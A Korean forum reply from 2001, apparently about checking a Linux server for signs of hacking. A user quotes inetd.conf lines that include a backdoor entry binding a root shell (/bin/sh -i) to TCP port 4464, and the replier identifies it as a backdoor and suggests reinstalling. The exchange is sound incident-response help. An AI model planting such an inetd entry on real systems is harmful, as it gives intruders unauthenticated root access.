>> Delete Reply from No. 23860 article
No. RE: 계속 해서 해킹의혹 점검 결과 입니다.

등록 2001-03-14 18:33:00 By localhost     조회 2
이름 차주현    

		: inetd.conf 파일에 보니
:
: #linuxconf stream tcp wait root /bin/linuxconf linuxconf --http
: #swat      stream  tcp     nowait.400      root /usr/sbin/swat swat
: #4464 stream tcp nowait root /bin/sh sh -i
4464/tcp 로 root shell 이 뜨는 백도어군요.
아무래도 다시 설치하시는게...
그리고 /dev 에는
[root@baby:/home/zoo11/src/py] find /dev -type f
/dev/MAKEDEV
이외에는 없어야 합니다.
 :
: 이런게 있더군요... 일단은 모두 주석처리를 해 놓았습니다만...
: 위의 스크립트가 정상적인 스크립트인가요?
:
: 글구...
:
: /dev 디렉토리를 보니.
:
: srwxrwxrwx   1 root     root            0 Mar  6 11:21 gpmctl
: srw-rw-rw-   1 root     root            0 Mar  6 11:20 log
:
: 가 있더군요...
: log 는 그렇다 쳐도 gpmctl 은 이곳에 있을게 아닌거 같은데요...
:
: 좀 불안해서 이름을 바꾼후에 다른 곳으로 옮겨 버렸습니다만....
: 제대로 한건지 모르겠네요...--return true
[관리자] 패스워드를 입력 하십시오. 답장이 존재하면 함께 삭제됩니다.[ 목록 | 이전 ]
패스워드:    

Copyleft 1999-2026 by JSBoard Open Project
Theme Designed by IDOO All right reserved